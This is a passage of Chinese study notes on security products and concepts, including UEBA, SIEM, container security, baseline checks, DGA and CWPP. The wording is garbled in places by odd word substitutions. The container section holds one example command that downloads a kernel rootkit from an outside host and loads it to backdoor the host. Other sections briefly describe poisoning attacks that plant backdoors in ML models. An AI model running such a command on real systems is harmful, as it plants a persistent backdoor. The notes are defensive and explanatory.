为什么态势感知平台可以做到呢？由于平台背后的专家们能够在以前的安全事宜中溯源获取履历，包括各种攻击手段的特色如可实行文件的行为，非常的流量等；在大量数据中提取出特色，这一事情在大数据干系技能发展之前是很难实现的，而现在可以用大数据的方法处理以前积累起来的数据；可以和其他传统产品打通接口，通过各种数据多维度地进行准备剖析，包括刻画攻击者画像、攻击路线等。乃至，通过画像的剖析，态势感知平台可以剖析出攻击做事器的是一个脚本小子，还是APT组织，如果是脚本小子，那就由他弄好了，也不会造成什么危害，如果是APT，则须要应急相应了。当然这些规则一方面须要专家根据履历得出，一方面由AI来学习得出。
主流的态势感知产品支撑技能都是附近的，一样平常而言，态势感知产品定位为客户的安全大脑，是一个检测、预警、相应处置的大数据安全剖析平台。其以全流量剖析为核心，结合威胁情报、行为剖析建模、UEBA、失落陷主机检测、图关联剖析、机器学习、大数据关联剖析、可视化等技能，对全网流量实现全网业务可视化、威胁可视化、攻击与可疑流量可视化等，帮助客户在高等威胁入侵之后，丢失发生之前及时创造威胁。
全流量剖析，是做很多安全产品的根本事情，由于再高等的攻击，都会留下网络痕迹，哪怕做了稠浊，或者故意模拟正常访问，但是在大数据的建模剖析下统统都会现身。
为了进行流量剖析，首先须要拿到流量。通过旁路镜像的方法获取网络流量，并针对已知网络协议实时解码、元数据提取（非常用的或者私有的协议需大量资源进行剖析,有时也会由于回话秘钥的问题无法解开，而且由于涌现频率也不高，很多产品并没有做这一步），此时可以做两方面的事情：
一是通过深度的网络会话关联剖析、数据包解码剖析、载荷内容还原剖析、特色剖析和日志剖析，还原黑客的kill chain，对网络安全事宜进行精准的定性剖析，
二是快速提取多维度的网络元数据进行非常行为建模，为后续非常数据挖掘、剖析、取证建立踏实的根本。剖析之后，还要保存起来，方便查询检索及关联回溯剖析，实现从线索挖掘到全体攻击过程的完全复盘，为安全事宜的准确相应供应依据。
威胁情报，紧张从四个方面判断质量，干系性，及时性，精确性，决策性，这一块笔者打仗的也不多，也不清楚我司的产品是如何处理这一块的，但是如果是我做的话会考虑直接从这一细分领域企业那儿接过来，或者体量较大的乙方自身在业内是有十余年乃至数十年的积累的，也可以选择开源威胁情报如open-threat-exchange。
UEBA，即用户实体行为剖析，与它常常一起涌现的还有SIEM，SoC。先来说下UEBA，紧张用于办理以下问题：账号失落陷检测，主机失落陷检测，数据泄露检测，内部用户滥用，供应事宜调查的高下文等。
技能架构一样平常如上，可见UEBA在第一步是数据驱动的，须要从产品、日志得到支持，然后是规则驱动，接下来是算法驱动，末了才能尽可能准确刻画出用户画像。再说说UEBA和SIEM的关系，SIEM即安全信息及事宜管理，紧张是供应一种统一的路径方法来综合处理数据及关联剖析。由于数据量及繁芜度增加，SIEM的管理能力到了天花板，这才有了UEBA。UEBA 为SIEM 数据添加了背景信息和剖析，并为实体组织的事宜供应风险评分，使剖析师能够确定最高风险的优先级。随着技能的发展，UEBA又作为子集领悟进了态势感知产品。
可视化，实在是为了方便客户理解旗下资产安全情形而做的，将一些繁芜的数据图形化使之更随意马虎的感知。可以直不雅观展示企业在全网范围内的资产安全状况、最新待处理威胁、风险事宜、安全事宜趋势等，并利用安全评分、趋势图、柱状图、分布图等直不雅观图形，实现可视化展示。同时结合平台所网络、加工、剖析后的多维数据直不雅观查当作果，方便安全运维职员及时创造、处理威胁，从而帮助客户有效洞察企业所面临的外部威胁和内部薄弱性风险，也极大的提高了安全运维团队的监测、管理、处置安全事宜的效率。
16. 等保一体机
Reference：https://www.topsec.com.cn/products/Grade-protection & https://zhuanlan.zhihu.com/p/259493461
全名叫做信息安全等级保护，顾名思义便是指根据信息系统在国家安全、社会稳定、经济秩序和公共利益方便的中主要程度以及风险威胁、安全需求、安全本钱等成分，将其划分不同的安全保护等级并采纳相应等级的安全保护技能、管理方法、以保障信息系统安全和信息安全。
可能有点绕，总结下便是：保护互联网数据的一种标准方法体系，里面规定了方方面面。
1、降落信息安全风险，提高信息系统的安全防护能力；
2、知足国家干系法律法规和制度的哀求；
3、知足干系主管单位和行业哀求；
4、合理地规避或降落风险。
17. 容器安全
Reference：https://zhuanlan.zhihu.com/p/112789529
云原生的代表技能包括容器、做事网格（Service Mesh）、微做事（Microservice）、不可变根本举动步伐和声明式API。更多对付云原生的先容请参考CNCF/Foundation。
我们再对容器安全做一层抽象，又可以看作构建时安全（Build）、支配时安全（Deployment）、运行时安全（Runtime）。
镜像安全由容器镜像剖析平台保障。它以规则引擎的形式运营监管容器镜像，默认规则支持对镜像中Dockerfile、可疑文件、敏感权限、敏感端口、根本软件漏洞、业务软件漏洞以及CIS和NIST的最佳实践做检讨，并供应风险趋势剖析，同时它确保部分构建时安全。运行安全紧张是办理以容器逃逸为模型构建的风险:Linux内核漏洞：容器的内核与宿主内核共享，利用Namespace与Cgroups这两项技能，使容器内的资源与宿主机隔离，以是Linux内核产生的漏洞能导致容器逃逸。经典的Dirty CoW容器自身：Docker本身由Docker（Docker Client）和Dockerd（Docker Daemon）组成。但从Docker 1.11开始，Docker不再是大略的通过Docker Dameon来启动，而是集成许多组件，包括containerd、runc等等。Docker Client是Docker的客户端程序，用于将用户要求发送给Dockerd。Dockerd实际调用的是containerd的API接口，containerd是Dockerd和runc之间的一个中间互换组件，紧张卖力容器运行、镜像管理等。containerd向上为Dockerd供应了gRPC接口，使得Dockerd屏蔽下面的构造变革，确保原有接口向下兼容；向下，通过containerd-shim与runc结合创建及运行容器。更多的干系内容，请参考文末链接runc、containerd、architecture。理解清楚这些之后，我们就可以结合自身的安全履历，从这些组件相互间的通信办法、依赖关系等探求能导致逃逸的漏洞。CVE-2019-5736：runc - container breakout vulnerability不屈安支配：不同的业务会根据自身业务需求供应一套自己的配置，而这套配置并未得到有效的管控审计，使得内部环境变得繁芜多样，无形之中又增加了很多风险点。最常见的包括：特权容器或者以root权限运行容器；不合理的Capability配置（权限过大的Capability）。面对特权容器，在容器内大略地实行一下命令，就可以轻松地在宿主机上留下后门：$ wget https://kernfunny.org/backdoor/rootkit.ko && insmod rootkit.ko
18. 基线检测Reference：https://help.aliyun.com/zh/security-center/user-guide/baseline-check
基线 检讨功能通过配置不同的基线检讨策略，可以帮助您快速对做事器进行批量扫描，创造包括系统、账号权限、数据库、弱口令 、等级保护合规配置等存在的风险点，并供应修复建媾和一键修复功能。
检测页面：
基线内容：
基线分类
检讨标准及检讨内容
覆盖的系统和做事
修复紧急度解释
弱口令
利用非登录爆破办法检测是否存在弱口令。避免登录爆破办法锁定账户影响业务的正常运行。解释弱口令检测是通过读取HASH值与弱口令字典打算的HASH值进行比拟来检讨是否存在弱口令。如果不想读取HASH值，您可以从基线检讨策略中移除弱口令基线。
操作系统Linux、Windows 数据库MySQL、Redis、SQL Server、MongoDB、PostgreSQL、Oracle 运用Tomcat、FTP、Rsync、SVN、Activemq、RabbitMQ、OpenVpn、Jboss6/7、Jenkins、Openldap、VncServer、pptpd
需紧急修复。避免弱口令暴露在公网上导致系统被入侵或发生数据透露事宜。
未授权访问
未授权访问基线。检测做事是否存在未授权访问风险，避免被入侵或者数据透露。
Memcached、Elasticsearch、Docker、CouchDB、Zookeeper、Jenkins、Hadoop、Tomcat、Redis、Jboss、ActiveMQ、RabbitMQ、openLDAP、rsync、Mongodb Postgresql
最佳安全实践
阿里云标准基于阿里云最佳安全实践标准检测是否存在账号权限、身份鉴别、密码策略、访问掌握、安全审计和入侵戒备等安全配置风险。
操作系统 CentOS 6、7、8 Redhat 6、7、8 Ubuntu 14、16、18、20 Debian 8、9、10 Aliyun Linux 2、3 Windows 2008R2、2012R2、2016、2019 Rocky Linux 8 Alma Linux 8 SUSE Linux 15 Anolis 8 麒麟 UOS 数据库MySQL、Redis、MongoDB、SQL server、Oracle 11g、CouchDB、Influxdb、PostgreSql 运用Tomcat、IIS、Nginx、Apache、Windows SMB、RabbitMQ、Activemq、ElasticSearch、Jenkins Hadoop、Jboss6/7、Tomcat
主要安全加固项，建议修复。基于最佳安全实践的加固标准，降落配置弱点被攻击和配置变更风险。
容器安全
阿里云标准基于阿里云容器最佳安全实践的Kubernetes Master和Node节点配置风险检讨。
Docker Kubernetes集群
等保合规
等保二级、三级合规基于做事器安全等保基线检讨。对标威信测评机构安全打算环境测评标准和哀求。
操作系统 CentOS 6、7、8 Redhat 6、7、8 Ubuntu 14、16、18、20 SUSE 10、11、12、15 Debian 8、9、10 Aliyun Linux 2、3 Windows 2008R2、2012R2、2016、2019 Anolis 8 麒麟 UOS 数据库Redis、MongoDB、PostgreSql、Oracle、MySql、SQL Server、Informix 运用Websphere Application Server、Jboss6/7、Nginx、Weblogic、Bind、IIS
基于业务是否有合规须要进行修复。
CIS合规
基于CIS标准的操作系统安全基线检讨。
CentOS 6、7、8 Ubuntu 14、16、18、20 Debian 8、9、10 Aliyun Linux 2 Windows 2008R2、2012R2、2016、2019
基于业务是否有合规须要进行修复。
自定义基线
支持CentOS Linux 7自定义基线，可对基线检讨策略中的检讨项进行编辑，自定义安全加固项。
CentOS 7、CentOS6、Windows 2008R2、2012R2、2016、2019
用户自定义的安全加固项，建议修复。基于最佳安全实践的加固标准，降落配置弱点被攻击和配置变更风险。
19. 云沙箱20. DLP
Reference：https://www.zhihu.com/question/525751865/answer/2463294132
沙箱技能云上支配，可以向他投递文件或者url
只消一两分钟，我就能答复：它是不是恶意文件，是不是钓鱼、带毒网站，是不是跟某个黑客团伙有关联……
检测手段：
多杀毒引擎检测沙箱内静态剖析——记录文件的样貌，比如根本信息（文件格式、大小、文件指纹、署名等等）以及元数据等等。沙箱内动态剖析——记录文件的所有行为，包括详细实行流程、创建了哪些进程、开释了哪些文件等等。情报剖析21. UEBA（User and Entity Behavior Analytics，用户和实体行为剖析）Reference：https://info.support.huawei.com/info-finder/encyclopedia/zh/UEBA.html
从UEBA的观点可以看出，UEBA技能不仅检测人的非常行为，也检测实体的非常行为，我们先通过2个例子来直不雅观地感想熏染一下UEBA的功能。
例如，某企业职员每天的事情韶光段是早8点到晚5点，外发的文件数量为几十个，总大小也不超过100MB。但是有一天该职员溘然事情到晚上11点，外发文件大小超过100GB，UEBA就会认为这是非常行为，并发出告警信息。如果网络中支配了自动相应与处置类的功能，还可以自动隔离该职员的办公设备，令其无法联网，并锁定该职员的所有账号权限，等待运维职员处理完非常后再重新开放权限。
相较于人的非常行为，实体的非常行为每每并不随意马虎创造，乃至创造了也会被忽略。例如，某企业的做事器对外供应做事，一样平常凌晨时段的访问要求非常少，但是某天凌晨的访问要求溘然增多，且该做事器开始与网络内的其他做事器进行文件传输，这大概率会触发UEBA的告警。如果没有UEBA，由于传统安全设备紧张关注网络边界的安全性，以是该做事器的非常行为并不会触发告警，也不会被拦截，这为企业的网络安全埋下了巨大隐患。
UEBA利用人工智能和机器学习算法来检测网络中的用户和实体的非常行为。首先，UEBA网络有关用户和实体活动的数据，通过剖析数据来建立用户和实体的行为模式基线。然后，UEBA会持续监控用户和实体行为，并将其当前行为与基线行为进行比较，打算风险评分，确定行为偏差是否可接管。如果风险评分超过一定的阈值，UEBA会实时向用户发出告警。
风险评分是基于威胁的严重和紧急程度等成分评定的，可以帮助运维职员识别最优先处理的威胁，提高威胁的处置效率。例如，用户多次登录失落败，可以天生一个较低的风险评分；而用户向外发送超过10GB的文件，且个中很多文件的名称命中了敏感字，这就该当天生一个较高的风险评分。
为了担保天生基线的准确性，UEBA会从尽可能多的来源中获取数据，常日包括：
从防火墙、路由器、做事器等设备中获取日志信息。从其他安全办理方案（例如SIEM）或工具中获取干系数据。从访问掌握和身份验证系统中获取用户账户及授权等信息。从企业自身的管理系统中获取员工的干系信息。从社交平台和社交软件中获取用户的干系信息。天生基线后，UEBA在识别内部威胁方面特殊有效，而这类威胁每每是很难检测出来的。试想一下，当攻击者获取了企业职员的账户权限，或者企业内部的职员心存恶念，他们都在利用正常的权限去做坏事，完备不借助恶意软件。这怎么能被创造呢？此时就表示了UEBA的代价，由于攻击者或企业职员在履行恶意行为的时候，一定会偏离正常的行为基线。例如，攻击者或企业职员想盗取企业内部的关键数据，那么就要访问高密级的系统或文件，而这个行为在UEBA中可能会被授予很高的风险评分，当UEBA创造此非常行为后就会立即天生告警。
22. SIEM（Security Information and Event Management）Reference：https://www.zhihu.com/question/498644721/answer/3015102374
SIEM是安全信息管理（SIM）和安全事宜管理（SEM）的结合体。它从各种安全设备网络信息，监视和剖析这些信息，然后以对企业故意义的办法呈现结果。SIEM的核心功能包括跟踪、日志记录、网络和管理安全数据以符合合规或审计目的，包括报告、数据聚合、安全监测和用户活动监测等操作功能：
发实时网络和剖析来自不同安全设备和系统的日志和事宜数据自动化识别和分类安全事宜，并进行威胁情报剖析和挖掘供应可视化的安全事宜剖析和报告，以帮助安全团队及时创造和解决安全问题供应事宜相应和处置功能，支持自动化相应和手动处置支持合规性审计和报告，以符合法规和标准哀求。
最佳实践：
23. 流量水印
Reference：https://www.jsjkx.com/CN/article/openArticlePDF.jsp?id=17726
匿名通信和跳板技能与手段的利用给攻击源追踪、 网络监管和攻击取证等带来严厉寻衅 。相对付传统的被动流量剖析而言 ，网络流水印 (NetworkFlowWatermarking) 作为一种主动流量剖析手段 ，可用于追踪通过跳板链进行的网络攻击源或采纳匿名通道进行造孽通信的恶意用户。通过向发送者的发送流量中主动添加水印 (Watermark)来帮助确认发送者和吸收者的通信关系，网络流水印技能具有准确率高、误报率低、不雅观测韶光短和所需不雅观测数据包数量少等优点
技能：
改变或调制发送端数据包的载荷 (Payload)、韶光间隔(Interva1)、间隔到达时延 (Inter-PacketDelay，IPD)和 间隔重心 (ItervalCentroid)等信息或流量速率 (TrafficRate)来嵌入水印 ，在吸收端识别该水印 ，以达到关联发送者和吸收者关系的目的
当网络数据流经由水印嵌入点 (如路由器 )时 ，嵌入器利用密钥 (Key)将水印进行 编码 ，通过调制流量特色 (改变数据流的速率 )嵌入该水印 。嵌入水印后的标记数据流在网络传输时会遭受一些滋扰和变形 ，如中间路由器 (或匿名网络 、 跳板等)的延迟 、丢包或重传数据包 、包重组和韶光扰乱等 。 终极 ，当被扰乱之后的标记数据流到达 印检测点 ，检测器利用与嵌入器同样的密钥 (非盲检测时 ，检测器还须要标记数据流嵌入水印前的干系信息)提取标记数据流中的水印信息，如果与编码时的水印同等 ，那么就认为这两条数据 流之间存在关联 。
24. IP/域名信誉一些威胁情报，海量的黑IP和黑域名，一样平常来说都是10G起步
25. IOC（indicator of compromise 失守标识）Reference：https://zhuanlan.zhihu.com/p/403046479
失落陷检测情报，即攻击者掌握被害主机所利用的远程命令与掌握做事器情报。情报的IOC每每是域名，IP，URL形式，有时也包括SSL证书，HASH等形式，这种IOC可以推送到不同的安全设备中，如NGFW，IPS，SIEM等，进行检测创造乃至实时阻断，这类情报基本上都会供应危害等级，攻击团伙，恶意家族等更加丰富的高下文信息，来帮助确定事宜优先级并辅导后续安全相应活动。利用这类情报是及时创造已经渗透的到组织的APT团伙，木马蠕虫的最大略，及时，有效的办法。
26. BOT防护Reference：https://www.freebuf.com/articles/network/382439.html
在互联网行业，Bot 一样平常指的是在 Web、APP 运用、API 接口上通过运行自动化程序实行重复任务的虚拟机器人，它们有的动作比人类快很多，有的行为则很暗藏不易被创造，这些机器人所产生的活动日志被称为 Bot 流量（机器人流量）。
种别
描述
举例
网络爬虫
用于浏览互联网并网络信息的自动化程序
***机器人、图片爬虫、笔墨爬虫
恶意软件Bot
用于实行恶意活动，如传播病毒、盗取敏感信息等的自动化程序
外挂
社交媒体Bot
在社交媒体平台上实行自动化任务的程序，有时用于误导用户或传播虚假信息
僵尸粉、控评机器人
谈天机器人
用于与人类进行自动化对话的程序，常见于客户支持、在线谈天等场景
客服机器人
网络钓鱼Bot
用于进行网络钓鱼活动，试图欺骗用户供应敏感信息的自动化程序
-
游戏Bot
在在线游戏中利用，自动实行特定游戏任务的程序，有时被用于造孽活动或作弊
技能架构：
特色工程-》规则管理-》策略下发
27. 模型投毒https://blog.csdn.net/***_42395917/article/details/126282145
后门攻击：通过改变模型对一些特定输入的输出而达到目的，在图像分类的领域中，后门攻击的trigger（触发器）是图像当中的一些像素点，当这些像素点经由模型被打算成某些值之后，模型可能就会产生我们想要的结果，这就达到了我们的目的。
后门攻击是将毒化后的数据集打上对应的标签然后放到模型中进行演习，随后得到一个被植入后门的模型，然后我们将毒化的数据集放入模型时就会输出我们想要的结果。
28. DGA（Domain Generation Algorithm）Reference：https://cloud.tencent.com/developer/article/1552318
恶意软件利用DGA算法与C2做事器进行通信的事理如图所示，客户端通过DGA算法天生大量备选域名，并且进行查询，攻击者与恶意软件运行同一套DGA算法，天生相同的备选域名列表，当须要发动攻击的时候，选择个中少量进行注册，便可以建立通信，并且可以对注册的域名运用速变IP技能，快速变换IP，从而域名和IP都可以进行快速变革。
很显然，在这种办法下，传统基于黑名单的防护手段无法起浸染，一方面，黑名单的更新速率远远赶不上DGA域名的天生速率，另一方面，防御者必须阻断所有的DGA域名才能阻断C2通信，因此，DGA域名的利用使得攻击随意马虎，防守困难。
DGA算法由两部分构成，种子（算法输入）和算法，可以根据种子和算法对DGA域名进行分类，DGA域名可以表示为AGD（Algorithmically-Generated Domains）。
按照种子进行分类
种子是攻击者和客户端恶意软件共享的一个DGA算法的输入参数之一，不同的种子得出的DGA域名是不一样的。一样平常来说，种子可按如下办法进行分类：
1.基于韶光的种子（Time dependence）。DGA算法将会利用韶光信息作为输入，如：传染主机的系统韶光，http相应的韶光等。
2.是否具有确定性（Determinism）。主流的DGA算法的输入是确定的，因此AGD可以被提前打算，但是也有一些DGA算法的输入是不愿定的，如：Bedep[4]以欧洲中心银行每天发布的外汇参考汇率作为种子，Torpig[5]用twitter的关键词作为种子，只有在确定韶光窗口内注册域名才能生效。
根据种子的分类方法，DGA域名可以分为以下4类：
1.TID（time-independent and deterministic），与韶光不干系，可确定；
2.TDD（time-dependent and deterministic），与韶光干系，可确定；
3.TDN（time-dependent and non-deterministic），与韶光干系，不可确定；
4.TIN（time-independent and non-deterministic），与韶光不干系，不可确定；
按照天生算法进行分类
现有DGA天生算法一样平常可以分为如下4类：
1.基于算术。该类型算法会天生一组可用ASCII编码表示的值，从而构成DGA域名，盛行度最高。
2.基于哈希。用哈希值的16进制表示产生DGA域名，被利用的哈希算法常有：MD5，SHA256。
3.基于词典。该办法会从专有词典中挑选单词进行组合，减少域名字符上的随机性，迷惑性更强，字典内嵌在恶意程序中或者从公有做事中提取。
4.基于排列组合。对一个初始域名进行字符上的排列组合。
检测手段：
域名情报+数据演习（网络DGA域名，个中包含约4570万个DGA域名，包含62个DGA家族，其余网络网络了大量良性NXDomain，包含1530万个域名，以这些数据为原始输入，进行有监督学习。）
29. MSSP（Managed Security Service Provider，安全托管做事商）Reference：https://www.zhihu.com/question/495882650/answer/2200401122
MSS：
Managed Security Service，安全托管做事。常日指为客户供应安全运营管理做事的供应商。安全托管做事在云打算领域，指企业由于降本增效或专注业务发展等须要，将部分繁重、重复安全运营事情请托给专业云做事商，有专业安全运营团队开展的持续剖析及运营做事。企业转向托管安全做事供应商可以减轻他们每天面临的与信息安全有关的压力，借助安全托管做事商在某些安全领域的上风，可以补齐企业在安全培植或运营管理中的短板，提升安全管理效率。MSSP：Managed Security Service Provider，安全托管做事商。常日指为客户供应安全运营管理做事的供应商。
MSS做事一样平常包括哪些内容？
全面的资产安全评估做事：包括主机、网络、运用及数据方面存在的风险，全面排查云上主机可能存在的风险。细致深入的风险检测做事：周期性漏洞检测和管理做事，对高危端口、系统漏洞、Web漏洞、云产品配置、Web后台信息透露等进行扫描排查。专业的漏洞情报做事：包括但不限于互联网上影响自身资产的新高危漏洞情报监控、PoC利用剖析及预警、云密钥透露事宜监控、剖析及预警等可信赖的监控处置做事：针对互联网上存在的一些范例的高危攻击行为和事宜，能够借助SOAR以及自身情报能力，具备高等别事宜监控筛选、情报关联剖析和自动化阻断能力，办理重复劳作，提升安全人效；可落地的安全加固做事：针对创造的严重或高危级别安全事宜和风险，供应可落地的处置相应建议尽职尽责的724应急相应：在业务遭受黑客攻击涌现非常时，具备专业应急值守团队，能够供应及时的事宜相应剖析和专业处置，将突发事宜丢失降到最低。31. CWPP（Cloud Workload Protection Platform，云事情保护平台）Reference：https://zhuanlan.zhihu.com/p/590228643
客户利用云供应商的主机进行业务上云，那么CWPP便是为了云上主机的防护，包括虚拟机防护和网络安全防护
云上防护最好的办法便是基于云做事供应商供应的接口来进行安全开拓处理，但是实际上云做事供应商浩瀚，接口也各不相同，所具备的安全能力也不尽相同，没有统一的标准去做这些安全。基于这一现状，涌现了以agent形式的CWPP安全方案。
加固、配置与漏洞管理（Hardening, Configuration and Vulnerability Management）：加固是针对系统、镜像等的加固，通过关闭非必要功能、端口和做事，及时进行系统补丁更新掩护。
配置即为做事器的配置优化，是针对操作系统层和运用层进行配置，保障系统以及运用的安全合理性，以提升安全能力以及防攻击的功能，避免由于错配和漏配导致产生安全问题。漏洞管理是针对操作系统漏洞和运用程序漏洞的管理，在网络安全事宜中，基于漏洞的攻击数量一贯居高不下，而最常见的最严重的漏洞便是系统漏洞和WEB运用漏洞。
由于WEB运用一样平常对外供应，以是必须暴露于互联网之中，因此安全哀求极为主要。基于上述的能力哀求，CWPP须要支持针对系统的加固，以及配置的基线检讨和漏洞防护的功能。漏洞管理，分为操作系统漏洞管理和运用漏洞管理。目前网络攻击紧张是通过web做事器或者web运用漏洞发起，因此CWPP产品要能供应标准化、同时支持制订自定义的web运用漏洞防护策略。
基于身份的网络微隔离和可视化（Network Firewalling, Visibility and Microsegmentation）：在这一能力哀求中，包括了两个部分内容，分别是微隔离和可视化。想要实现微隔离和可视化的条件，便是要先识别资产，只有在资产被识别后才可以针对资产进行管理，这里所说的资产可以是主机、虚拟机、容器等事情负载，以是图形化管理用户的主机业务资产是CWPP的必要条件。微隔离，便是在资产识别根本之上手动或者自动的进行流量的隔离，这里的隔离紧张是东西向流量的隔离，微隔离的基本实现办法是通过agent掌握本地的安全程序，如管理windows和linux系统内置的防火墙，来进行流量分割管理。并且这里的流量分割管理是可以跨物理、虚拟架构、网络基于角色的访问策略。可视化哀求能够供应可视化和监控通信流量，即能知道事情负载间的通信情形。
CWPP与EDR（Endpoint Detection & Response，终端检测和相应）两个安全产品，在功能上有很多重叠的部分，比如两款产品均具备资产识别、漏洞与补丁管理和基线检讨的功能。
差异点
EDR
CWPP
防护工具
终端
主机（做事器、容器、serverless）
产品架构
EDR一样平常利用轻代理办法，本地放置引擎和规则库等，本地客户端具备管理界面，可以独立利用。
CWPP是轻端重云架构，管理都放在云端，本地无规则库和剖析引擎，本地客户端没有管理界面，主打轻量化业务无侵害。
支配场景
支配与企业办公网络中，针对日常办公终端利用，部分情形可以用于数据中央。
紧张定位在数据中央维度，强调稠浊数据中央下的统一支配和管理。
产品关注点
关注重点在于病毒防护，针对事中阶段进行拦截处置，强调的是安全问题闭环处置。
更关注根本运维干系的内容如：资产管理、进程监控、变更管理、日志管理、权限管理、基线管理、系统完全性监控、运用程序掌握，行为监控等，更聚焦在日常性的根本运维事情。
利用阶段
紧张用于安全事宜的事中阶段处理和事后阶段闭环。
紧张用于安全事宜的事前阶段，强调加固的主要性，干事前防护。
